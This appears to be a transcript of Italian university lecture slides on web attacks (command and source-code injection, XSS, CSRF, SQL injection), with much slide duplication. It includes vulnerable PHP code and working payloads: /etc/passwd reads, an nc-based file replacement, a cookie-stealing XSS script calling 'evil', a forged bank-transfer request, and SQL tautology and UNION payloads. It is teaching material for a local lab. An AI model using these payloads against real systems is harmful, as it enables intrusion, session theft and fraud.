Sicurezza delle applicazioni web: attacchi web
Transcript
Sicurezza delle applicazioni web: attacchi web
Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Anno Accademico 2012/2013 Sicurezza delle applicazioni web: attacchi web Srdjan Matic, Aristide Fattori 31 Maggio 2013 Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 1 / 33 OWASP Top Ten (2010) 1 Injection 2 Cross-Site Scripting (XSS) 3 Broken Authentication and Session Management 4 Insecure Direct Object References 5 Cross-Site Request Forgery (CSRF) 6 Security Misconfiguration 7 Insecure Cryptographic Storage 8 Failure to Restrict URL Access 9 Insufficient Transport Layer Protection 10 Unvalidated Redirects and Forwards OWASP Top Ten (2013) Stato attuale controllabile al url https://www.owasp.org/index.php/Top_10_2013-T10 Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 2 / 33 OWASP Top Ten (2010) 1 Injection 2 Cross-Site Scripting (XSS) 3 Broken Authentication and Session Management 4 Insecure Direct Object References 5 Cross-Site Request Forgery (CSRF) 6 Security Misconfiguration 7 Insecure Cryptographic Storage 8 Failure to Restrict URL Access 9 Insufficient Transport Layer Protection 10 Unvalidated Redirects and Forwards OWASP Top Ten (2013) Stato attuale controllabile al url https://www.owasp.org/index.php/Top_10_2013-T10 Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 2 / 33 Environment Sistema stabile Un sistema stabile è un sistema provvisto di una risposta documentata a fronte qualsiasi cambiamento di una condizione esterna. Sanitizzazione La sanitizzazione implica la modifica del contenuto di un parametro per evitare una risposta non documentata dello script. Problema Separazione dei ruoli: il codice inviato dai client può “interagire” con quello presente lato server. Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 3 / 33 Environment Sistema stabile Un sistema stabile è un sistema provvisto di una risposta documentata a fronte qualsiasi cambiamento di una condizione esterna. Sanitizzazione La sanitizzazione implica la modifica del contenuto di un parametro per evitare una risposta non documentata dello script. Problema Separazione dei ruoli: il codice inviato dai client può “interagire” con quello presente lato server. Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 3 / 33 Environment Sistema stabile Un sistema stabile è un sistema provvisto di una risposta documentata a fronte qualsiasi cambiamento di una condizione esterna. Sanitizzazione La sanitizzazione implica la modifica del contenuto di un parametro per evitare una risposta non documentata dello script. Problema Separazione dei ruoli: il codice inviato dai client può “interagire” con quello presente lato server. Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 3 / 33 Source Code Injection Include file injection Source code injection è una vulnerabilià causata da un controllo non sufficiente sulle variabili che vengono utilizzate nelle funzioni, come ad esempio include(), require(). Esempio: <?php include("$data") ?> Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 4 / 33 ESEMPIO-1 http://localhost/web2/source code injection/ 1 Vistiamo la root. Cosa vediamo? 2 Su che parametri abbiamo il controllo? 3 C’è qualche altra info che abbiamo notato nei sorgenti HTML? 4 Basic Authentication, come funziona? (.htaccess ∧ .htpasswd) 5 Vediamo i sorgenti di “inclusion.php“ Cosa vogliamo fare e/o ottenere? PROBLEMA-1: dove stà il file .htpasswd? Tiriamo ad indovinare? PROBLEMA-2: e i permessi? Con che permessi il file viene aperto? DOMANDA: e se proviamo a spostare il file dove non è raggiungibile dal web-server... Abbiamo risolto il problema? ma... .htpasswd contiene HASH e non le password in chiaro... e c’è persino il salting!!! Che facciamo??? :( Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 5 / 33 ESEMPIO-1 http://localhost/web2/source code injection/ 1 Vistiamo la root. Cosa vediamo? 2 Su che parametri abbiamo il controllo? 3 C’è qualche altra info che abbiamo notato nei sorgenti HTML? 4 Basic Authentication, come funziona? (.htaccess ∧ .htpasswd) 5 Vediamo i sorgenti di “inclusion.php“ Cosa vogliamo fare e/o ottenere? PROBLEMA-1: dove stà il file .htpasswd? Tiriamo ad indovinare? PROBLEMA-2: e i permessi? Con che permessi il file viene aperto? DOMANDA: e se proviamo a spostare il file dove non è raggiungibile dal web-server... Abbiamo risolto il problema? ma... .htpasswd contiene HASH e non le password in chiaro... e c’è persino il salting!!! Che facciamo??? :( Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 5 / 33 Command injection Esempio Command Injection i linguaggi di lato server consentono l’esecuzione di comandi (e.g., system(), exec(), popen(), eval()) a volte nome/argomenti sono generati dinamicamente ⇒ mancata sanitizzazione può introdurre vulnerabilità non è sempre facile applicare una sanitizzazione adeguata Ricerca di uno User-Agent nei log ... pattern = $_GET[’chiave’]; system(’cut -d ¨ -f 6 /var/log/apache2/access.log | grep -i ’.$pattern ); ... Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 6 / 33 Command injection Esempio Command Injection i linguaggi di lato server consentono l’esecuzione di comandi (e.g., system(), exec(), popen(), eval()) a volte nome/argomenti sono generati dinamicamente ⇒ mancata sanitizzazione può introdurre vulnerabilità non è sempre facile applicare una sanitizzazione adeguata Ricerca di uno User-Agent nei log ... pattern = $_GET[’chiave’]; system(’cut -d ¨ -f 6 /var/log/apache2/access.log | grep -i ’.$pattern ); ... Esempio di abuso: cat /etc/passwd ; echo Ha-ha ⇓ http://www.ex.com/user_agent_stat.php?chiave=cat%20/etc/passwd%20; %20echo%20Ha-ha Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 6 / 33 ESEMPIO-2 http://localhost/web2/command injection/ 1 cosa sono access.log e last snapshot.log 2 logger trivial.php: esempio di utilizzo analisi codice sorgente esempio exploit → asdasd ; cat /etc/passwd 3 logger secure.php esempio di utilizzo (come sopra) proviamo a replicare l’attacco precedente SUGGERIMENTI? 5 minuti di tempo per suggerimenti senza mostravi il sorgente... Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 7 / 33 ESEMPIO-2 http://localhost/web2/command injection/ 1 cosa sono access.log e last snapshot.log 2 logger trivial.php: esempio di utilizzo analisi codice sorgente esempio exploit → asdasd ; cat /etc/passwd 3 logger secure.php esempio di utilizzo (come sopra) proviamo a replicare l’attacco precedente SUGGERIMENTI? 5 minuti di tempo per suggerimenti senza mostravi il sorgente... Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 7 / 33 ESEMPIO-2 http://localhost/web2/command injection/ 1 cosa sono access.log e last snapshot.log 2 logger trivial.php: esempio di utilizzo analisi codice sorgente esempio exploit → asdasd ; cat /etc/passwd 3 logger secure.php esempio di utilizzo (come sopra) proviamo a replicare l’attacco precedente SUGGERIMENTI? 5 minuti di tempo per suggerimenti senza mostravi il sorgente... Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 7 / 33 ESEMPIO-2 (logger secure.php) Sorgente di logger secure.php <?php if ( isset($_POST[’useragent’]) ){ $pattern=$_POST[’useragent’]; if ( strpos($pattern, ";") != FALSE ){ echo "<b>Oh, come on... Don’t try to inject multiple commands</b>"; } else { /* DOUBLE ESCAPE: first for ’\’, second for ’"’ */ system("cut -d \\\" -f 6 access.log | grep -i ".$pattern." > last_snapshot.log"); } } ?> Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 8 / 33 ESEMPIO-2 (logger secure.php) Sorgente di logger secure.php <?php if ( isset($_POST[’useragent’]) ){ $pattern=$_POST[’useragent’]; if ( strpos($pattern, ";") != FALSE ){ echo "<b>Oh, come on... Don’t try to inject multiple commands</b>"; } else { /* DOUBLE ESCAPE: first for ’\’, second for ’"’ */ system("cut -d \\\" -f 6 access.log | grep -i ".$pattern." > last_snapshot.log"); } } ?> Richiesta: Fare l’upload di un (fittizio) eseguibile maligno sul server e sostituirlo al file “last snapshot.log”; fare in modo che in seguito all’upload tutti gli utenti che cerchino di scaricare il file “last snapshot.log”ottengano invece l’eseguibile. Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 8 / 33 ESEMPIO-2 (logger secure.php) Sorgente di logger secure.php <?php if ( isset($_POST[’useragent’]) ){ $pattern=$_POST[’useragent’]; if ( strpos($pattern, ";") != FALSE ){ echo "<b>Oh, come on... Don’t try to inject multiple commands</b>"; } else { /* DOUBLE ESCAPE: first for ’\’, second for ’"’ */ system("cut -d \\\" -f 6 access.log | grep -i ".$pattern." > last_snapshot.log"); } } ?> Richiesta: Fare l’upload di un (fittizio) eseguibile maligno sul server e sostituirlo al file “last snapshot.log”; fare in modo che in seguito all’upload tutti gli utenti che cerchino di scaricare il file “last snapshot.log”ottengano invece l’eseguibile. Soluzione (sequenza di parametri da inviare nelle richieste GET: 1 $(nc -l -p 5432 -q0 > last snapshot.log) # 2 $(chmod 444 last snapshot.log) # 3 $(sed -i "s/href=\"last snapshot.log=\"/href==\"last snapshot.log.exe=\"/g" logger.php) # Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 8 / 33 Attacchi client-side Cross-Site Scripting (XSS) e Cross-Site Request Forgery (CSRF) sfruttano la fiducia che un utente ha di un sito web (XSS), o viceversa (CSRF) attacco: modificare la pagina HTML originale, aggiungendo codice (HTML o JavaScript) la vittima si collega al server vulnerabile che restituisce la pagina modificata (e.g., link in e-mail, IM, link sulla rete) il browser interpreta il codice iniettato dall’attaccante Esempi di obiettivi dell’attacco 1 ottenere cookie associati al dominio vulnerabile 2 manipolazione form di login 3 esecuzione di GET/POST addizionali 4 . . . qualunque cosa si possa fare con HTML + JavaScript! Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 9 / 33 Attacchi client-side Cross-Site Scripting (XSS) e Cross-Site Request Forgery (CSRF) sfruttano la fiducia che un utente ha di un sito web (XSS), o viceversa (CSRF) attacco: modificare la pagina HTML originale, aggiungendo codice (HTML o JavaScript) la vittima si collega al server vulnerabile che restituisce la pagina modificata (e.g., link in e-mail, IM, link sulla rete) il browser interpreta il codice iniettato dall’attaccante Esempi di obiettivi dell’attacco 1 ottenere cookie associati al dominio vulnerabile 2 manipolazione form di login 3 esecuzione di GET/POST addizionali 4 . . . qualunque cosa si possa fare con HTML + JavaScript! Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 9 / 33 Reflected Cross-Site Scripting Funzionamento una pagina dinamica è vulnerabile a XSS l’utente è indotto a accedere alla pagina vulnerabile l’exploit è contenuto nell’URL Esempio: http://vulnerabile/a.php?var=<script>document.location=’http: //evil/log.php?’+document.cookie</script> Offuscamento tecniche di encoding nascondere il link con l’exploit dalla barra di stato un link innocuo effettua un redirect (HTTP 3xx) servizi di url-shortening Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 10 / 33 Reflected Cross-Site Scripting Esempio sul server c’è una pagina PHP che contiene: Benvenuto <?php echo $_GET[’nome’]; ?> la vittima visita il seguente url: http://vulnerabile/vuln.php?nome=<script>document.location= ’http://evil/log.php?’+document.cookie</script> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3C%2Fscript%3E Host: vulnerabile ... risultato HTML prodotto dal server: Benvenuto <script>document.location= ’http://evil/log.php?’+document.cookie</script> Il browser interpreta il codice JavaScript, legge i cookie della vittima per il dominio “vulnerabile”, si collega al sito evil e li passa in GET Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 11 / 33 Reflected Cross-Site Scripting Esempio sul server c’è una pagina PHP che contiene: Benvenuto <?php echo $_GET[’nome’]; ?> la vittima visita il seguente url: http://vulnerabile/vuln.php?nome=<script>document.location= ’http://evil/log.php?’+document.cookie</script> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3C%2Fscript%3E Host: vulnerabile ... risultato HTML prodotto dal server: Benvenuto <script>document.location= ’http://evil/log.php?’+document.cookie</script> Il browser interpreta il codice JavaScript, legge i cookie della vittima per il dominio “vulnerabile”, si collega al sito evil e li passa in GET Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 11 / 33 Reflected Cross-Site Scripting Esempio sul server c’è una pagina PHP che contiene: Benvenuto <?php echo $_GET[’nome’]; ?> la vittima visita il seguente url: http://vulnerabile/vuln.php?nome=<script>document.location= ’http://evil/log.php?’+document.cookie</script> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3C%2Fscript%3E Host: vulnerabile ... risultato HTML prodotto dal server: Benvenuto <script>document.location= ’http://evil/log.php?’+document.cookie</script> Il browser interpreta il codice JavaScript, legge i cookie della vittima per il dominio “vulnerabile”, si collega al sito evil e li passa in GET Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 11 / 33 Reflected Cross-Site Scripting Esempio sul server c’è una pagina PHP che contiene: Benvenuto <?php echo $_GET[’nome’]; ?> la vittima visita il seguente url: http://vulnerabile/vuln.php?nome=<script>document.location= ’http://evil/log.php?’+document.cookie</script> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3C%2Fscript%3E Host: vulnerabile ... risultato HTML prodotto dal server: Benvenuto <script>document.location= ’http://evil/log.php?’+document.cookie</script> Il browser interpreta il codice JavaScript, legge i cookie della vittima per il dominio “vulnerabile”, si collega al sito evil e li passa in GET Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 11 / 33 Reflected Cross-Site Scripting Esempio sul server c’è una pagina PHP che contiene: Benvenuto <?php echo $_GET[’nome’]; ?> la vittima visita il seguente url: http://vulnerabile/vuln.php?nome=<script>document.location= ’http://evil/log.php?’+document.cookie</script> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3C%2Fscript%3E Host: vulnerabile ... risultato HTML prodotto dal server: Benvenuto <script>document.location= ’http://evil/log.php?’+document.cookie</script> Il browser interpreta il codice JavaScript, legge i cookie della vittima per il dominio “vulnerabile”, si collega al sito evil e li passa in GET Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 11 / 33 ESEMPIO-3 http://localhost/web2/reflected xss/ 1 Perchè ho utilizzato redirect? 2 forum reflected.php: analisi sorgente HTML funzionamento “LOGIN”a funzionamento “LOGOUT” funzionamento “Filter” a EX: Avrei potuto passare le credenziali in GET? Perchè ho scelto POST??? SUGGERIMENTI? Senza controllare i sorgenti... Come possiamo provare a fare per trovare la vunerabilità? Trovata la vunlerabilità... Cosa facciamo?a a EX: server python senza redirect... utente crede che la pagina “non sia funzionante’ Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 12 / 33 ESEMPIO-3 http://localhost/web2/reflected xss/ 1 Perchè ho utilizzato redirect? 2 forum reflected.php: analisi sorgente HTML funzionamento “LOGIN”a funzionamento “LOGOUT” funzionamento “Filter” a EX: Avrei potuto passare le credenziali in GET? Perchè ho scelto POST??? SUGGERIMENTI? Senza controllare i sorgenti... Come possiamo provare a fare per trovare la vunerabilità? Trovata la vunlerabilità... Cosa facciamo?a a EX: server python senza redirect... utente crede che la pagina “non sia funzionante’ Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 12 / 33 Stored Cross-Site Scripting Fase 1 l’attaccante invia al server il codice da iniettare il server memorizza in modo persistente il codice (e.g., database, file, messaggio inserito in un forum) il codice dell’attacco non è visibile nell’URL Fase 2 un client si collega al server il server genera la pagina inserendo in ogni risposta anche il codice iniettato Osservazioni tutti gli utenti che richiederanno la pagina subiranno l’attacco il codice iniettato non è visibile nell’URL molto più pericoloso rispetto ai reflected! Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 13 / 33 ESEMPIO-4 http://localhost/web2/stored xss/ 1 forum stored.php: analisi sorgente HTML funzionamento “LOGIN” funzionamento “LOGOUT” funzionamento “Post it!” SUGGERIMENTI? Senza necessità controllare i sorgenti... Essendo uno stored-xss dove starà la vulnerabilità? Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 14 / 33 ESEMPIO-4 http://localhost/web2/stored xss/ 1 forum stored.php: analisi sorgente HTML funzionamento “LOGIN” funzionamento “LOGOUT” funzionamento “Post it!” SUGGERIMENTI? Senza necessità controllare i sorgenti... Essendo uno stored-xss dove starà la vulnerabilità? Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 14 / 33 Cross-Site Request Forgery Obiettivo far eseguire delle azioni alle vittime, sfruttando le loro credenziali (e.g., cookie di sessione) con JavaScript non è possibile accedere ai cookie di un altro dominio (same origin policy ) XSS ⊂ CSRF, ossia XSS =⇒ CSRF CSRF è possibile anche senza XSS CSRF reflected e stored samy is my hero → worm JavaScript che sfrutta CSRF . . . forse non ancora utilizzati per creare danni tangibili Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 15 / 33 Stored CSRF (GET) Esempio stored CSRF in sito maligno il client si collega a http://www.mia-banca.it/ e si autentica il client apre un’altra istanza del browser (tab o finestra) e si collega ad un sito maligno la pagina maligna contiene qualcosa del tipo: <img src=”http://www.miabanca.it/traferisci.php?to=1337&amount=10000”/> il browser crea una richiesta HTTP nella quale inserisce i parametri GET e inserisce il Cookie con l’ID di sessione appropriato Osservazioni in JavaScript, utilizzando i form HTML si possono creare qualsiasi tipo di richieste HTTP (sia GET che POST) il sito maligno non deve essere necessariamente dinamico! Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 16 / 33 Stored CSRF (POST) Esempio stored CSRF nel target Assunzione l’attaccante ha il pieno accesso alla pagina HTML e può usare AJAX la vittima si collega a http://www.banca-vulnerabile.it e si autentica la vittima richiede la pagina che contiene il codice dell’attacco il server (oltre alla pagine) restituisce: var http = false; var body = "to=1337&amount=10000"; http = new XMLHttpRequest(); http.onreadystatechange = handleResponse; http.open("POST", "http://www.banca-vulnerabile.it/trasferisci.php", true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.setRequestHeader("Content-length", body.length); http.send(body); function handleResponse() .... per banca-vulnerabile, la richiesta è indistinguibile da una “lecita” Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 17 / 33 XSS/CSRF: Contromisure Lato client reflected XSS: se l’attacco è visibile nella URL può essere facilmente evitato passando dalla root del dominio estensioni per Firefox: noscript (JavaScript su richiesta) non visitare altri siti quando utilizza il conto on-line, effettuare sempre il logout Lato server l’input va sempre considerato insicuro, vanno applicate le corrette funzioni di sanitizzazione (e.g., htmlspecialchars()) Per CSRF: CAPTCHA, PIN da inserire per ogni transazione importante per quelli su siti esterni si potrebbe passare una chiave tra le varie pagine dell’applicazione (e.g., campi hidden) Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 18 / 33 SQL injection (SQLI) Scenario molte applicazioni web hanno la necessità di memorizzare dati strutturati (e.g., forum, CMS, e-commerce, blog, . . . ) ⇒ database SQL Injection Si definisce SQL Injection una vulnerabilità che si verifica quando un attaccante è in grado di inserire codice nella query SQL. SQLI mancata validazione dell’input le query generate dall’applicazione contengono input si ha SQLI quando, manipolando l’input, è possibile modificare sintatticamente o semanticamente una query SQL Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 19 / 33 SQL injection (SQLI) Scenario molte applicazioni web hanno la necessità di memorizzare dati strutturati (e.g., forum, CMS, e-commerce, blog, . . . ) ⇒ database SQL Injection Si definisce SQL Injection una vulnerabilità che si verifica quando un attaccante è in grado di inserire codice nella query SQL. SQLI mancata validazione dell’input le query generate dall’applicazione contengono input si ha SQLI quando, manipolando l’input, è possibile modificare sintatticamente o semanticamente una query SQL Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 19 / 33 SQL injection Esempio (PHP) ... $nome = $_POST[’nome’]; $passw = $_POST[’passw’]; $result = mysql_query("SELECT * FROM Utenti " . "WHERE nome=’$nome’ AND passw=’$passw’;"); if(mysql_num_rows($result) > 0 ) ... 1 nome = mario ∧ passw = mysecretpass → ... WHERE nome=’mario’ AND passw=’xyz’; 2 nome = admin ∧ passw = xyz’ OR ’1’=’1 → ... WHERE nome=’admin’ AND passw=’xyz’ OR ’1’=’1’; . . . quali righe seleziona l’ultima query? Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 20 / 33 SQL injection Esempio (PHP) ... $nome = $_POST[’nome’]; $passw = $_POST[’passw’]; $result = mysql_query("SELECT * FROM Utenti " . "WHERE nome=’$nome’ AND passw=’$passw’;"); if(mysql_num_rows($result) > 0 ) ... 1 nome = mario ∧ passw = mysecretpass → ... WHERE nome=’mario’ AND passw=’xyz’; 2 nome = admin ∧ passw = xyz’ OR ’1’=’1 → ... WHERE nome=’admin’ AND passw=’xyz’ OR ’1’=’1’; . . . quali righe seleziona l’ultima query? Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 20 / 33 SQL injection Esempio (PHP) ... $nome = $_POST[’nome’]; $passw = $_POST[’passw’]; $result = mysql_query("SELECT * FROM Utenti " . "WHERE nome=’$nome’ AND passw=’$passw’;"); if(mysql_num_rows($result) > 0 ) ... 1 nome = mario ∧ passw = mysecretpass → ... WHERE nome=’mario’ AND passw=’xyz’; 2 nome = admin ∧ passw = xyz’ OR ’1’=’1 → ... WHERE nome=’admin’ AND passw=’xyz’ OR ’1’=’1’; . . . quali righe seleziona l’ultima query? Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 20 / 33 SQL injection Esempio (PHP) ... $nome = $_POST[’nome’]; $passw = $_POST[’passw’]; $result = mysql_query("SELECT * FROM Utenti " . "WHERE nome=’$nome’ AND passw=’$passw’;"); if(mysql_num_rows($result) > 0 ) ... 1 nome = mario ∧ passw = mysecretpass → ... WHERE nome=’mario’ AND passw=’xyz’; 2 nome = admin ∧ passw = xyz’ OR ’1’=’1 → ... WHERE nome=’admin’ AND passw=’xyz’ OR ’1’=’1’; . . . quali righe seleziona l’ultima query? Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 20 / 33 SQLI: Sorgenti d’iniezione Input utente e header HTTP Input dell’utente parametri GET/POST molte tecnologie client-side comunicano col server tramite GET/POST (e.g., Flash, applet Java, AJAX) Header HTTP tutti gli header HTTP devono essere considerati pericolosi User-Agent,Referer,. . . possono essere stati manipolati ... tutto ciò che proviene da un qualsiasi client è da considerarsi “sospetto” Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 21 / 33 SQLI: Sorgenti d’iniezione Cookie e second order injection Cookie sono header aggiuntivi non modificabili da un normale browser provengono dal client ⇒ pericolosi Second order injection l’input viene memorizzato dall’applicazione (file,database) successivamente, l’input è utilizzato senza filtraggio o sanitizzazione per la costruzione di query SQL Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 22 / 33 SQLI: Obiettivi dell’attacco identificazione dei parametri iniettabili: analizzare l’applicazione per scoprire le sorgenti d’iniezione database footprinting: scoprire tipo e versione del DBMS in uso; facilitato da una gestione inadeguata degli errori determinazione del DB schema: nomi delle tabelle, nome e tipo delle colonne estrazione dati: estrazione di dati (sensibili) dal database manipolazione dei dati: inserimento, modifica o cancellazione dei dati denial of service: impedire l’uso dell’applicazione ad altri utenti (LOCK, DELETE, . . . ) bypassing dell’autenticazione: eludere un meccanismo di autenticazione esecuzione remota di comandi: esecuzione di comandi (esterni al DBMS, stored procedure) Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 23 / 33 SQLI: Alcuni esempi Bypass dell’autenticazione tramite “tautologie” query dell’applicazione: $q = "SELECT id FROM utente WHERE user=’".$user." ’ AND pass=’ ".$pass." ’ "; parametri inviati dall’attaccante: $user = "admin"; $pass = "’ OR ’1’=’1"; query eseguita dall’applicazione: $q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR ’1’=’1’"; se l’applicazione Web avesse sanitizzato l’input (e.g.,mysql escape string()): $q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’\’ OR \’\’=\’’"; Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 24 / 33 SQLI: Alcuni esempi Bypass dell’autenticazione tramite “tautologie” query dell’applicazione: $q = "SELECT id FROM utente WHERE user=’".$user." ’ AND pass=’ ".$pass." ’ "; parametri inviati dall’attaccante: $user = "admin"; $pass = "’ OR ’1’=’1"; query eseguita dall’applicazione: $q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR ’1’=’1’"; se l’applicazione Web avesse sanitizzato l’input (e.g.,mysql escape string()): $q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’\’ OR \’\’=\’’"; Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 24 / 33 SQLI: Alcuni esempi Bypass dell’autenticazione tramite “tautologie” query dell’applicazione: $q = "SELECT id FROM utente WHERE user=’".$user." ’ AND pass=’ ".$pass." ’ "; parametri inviati dall’attaccante: $user = "admin"; $pass = "’ OR ’1’=’1"; query eseguita dall’applicazione: $q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR ’1’=’1’"; se l’applicazione Web avesse sanitizzato l’input (e.g.,mysql escape string()): $q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’\’ OR \’\’=\’’"; Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 24 / 33 SQLI: Alcuni esempi Bypass dell’autenticazione tramite “tautologie” query dell’applicazione: $q = "SELECT id FROM utente WHERE user=’".$user." ’ AND pass=’ ".$pass." ’ "; parametri inviati dall’attaccante: $user = "admin"; $pass = "’ OR ’1’=’1"; query eseguita dall’applicazione: $q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR ’1’=’1’"; se l’applicazione Web avesse sanitizzato l’input (e.g.,mysql escape string()): $q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’\’ OR \’\’=\’’"; Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 24 / 33 SQLI: Alcuni esempi Altre “tautologie” utilizzo di commenti SQL per evitare di terminare correttamente la query $user = "admin"; $pass = "’ OR 1=1 -- "; $q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1=1 -’"; $user = "admin"; $pass = "’ OR 1 -- "; $q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1 -- ’"; $user = "admin’ #"; $q = "SELECT id FROM utente WHERE user=’admin’ #’ AND pass=’’"; scelta “blind” del primo user disponibile $user = "’ OR user LIKE ’%’ #"; $q = "SELECT id FROM utente WHERE user=’!’ OR user LIKE ’%’ #’ AND pass=’’"; $user = "’ OR 1 #"; $q = "SELECT id FROM utente WHERE user=’’ OR 1 #’ AND pass=’’"; Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 25 / 33 SQLI: Alcuni esempi Altre “tautologie” utilizzo di commenti SQL per evitare di terminare correttamente la query $user = "admin"; $pass = "’ OR 1=1 -- "; $q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1=1 -’"; $user = "admin"; $pass = "’ OR 1 -- "; $q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1 -- ’"; $user = "admin’ #"; $q = "SELECT id FROM utente WHERE user=’admin’ #’ AND pass=’’"; scelta “blind” del primo user disponibile $user = "’ OR user LIKE ’%’ #"; $q = "SELECT id FROM utente WHERE user=’!’ OR user LIKE ’%’ #’ AND pass=’’"; $user = "’ OR 1 #"; $q = "SELECT id FROM utente WHERE user=’’ OR 1 #’ AND pass=’’"; Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 25 / 33 Tecniche d’attacco SQLI UNION Query Obiettivo Riuscire a reperire record da altre tabelle esempio di query: $q = "SELECT id, nome, prezzo, descrizione" . "FROM prodotto WHERE categoria=" . $_GET[’cat’]; parametri passati dall’attaccante: $cat = "1 UNION SELECT 1, user, 1, pass FROM utente"; Note: 1 numero e tipo di colonne della seconda SELECT devono coincidere con quelli della prima 2 MySQL: una mancata corrispondenza fra i tipi provoca cast automatici Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 26 / 33 Tecniche d’attacco SQLI UNION Query Obiettivo Riuscire a reperire record da altre tabelle esempio di query: $q = "SELECT id, nome, prezzo, descrizione" . "FROM prodotto WHERE categoria=" . $_GET[’cat’]; parametri passati dall’attaccante: $cat = "1 UNION SELECT 1, user, 1, pass FROM utente"; Note: 1 numero e tipo di colonne della seconda SELECT devono coincidere con quelli della prima 2 MySQL: una mancata corrispondenza fra i tipi provoca cast automatici Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 26 / 33 Tecniche d’attacco SQLI Second order injection Obiettivo Far si che un parametro inizialmente innocuo diventi successivamente pericoloso username inserito dall’attaccante: $user = "admin’#"; durante l’inserimento nel database, $user viene sanitizzato correttamente... l’utente chiede di cambiare la propria password, ma i dati non sono correttamente sanitizzati: $q = "UPDATE utente SET pass=’ " . $_POST[’newPass’] . " ’ WHERE user=’ " . $row[’user’] . " ’ "; query eseguita dall’applicazione: $q = "UPDATE utente SET pass=’password’ WHERE user=’admin’#’"; Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 27 / 33 Tecniche d’attacco SQLI Second order injection Obiettivo Far si che un parametro inizialmente innocuo diventi successivamente pericoloso username inserito dall’attaccante: $user = "admin’#"; durante l’inserimento nel database, $user viene sanitizzato correttamente... l’utente chiede di cambiare la propria password, ma i dati non sono correttamente sanitizzati: $q = "UPDATE utente SET pass=’ " . $_POST[’newPass’] . " ’ WHERE user=’ " . $row[’user’] . " ’ 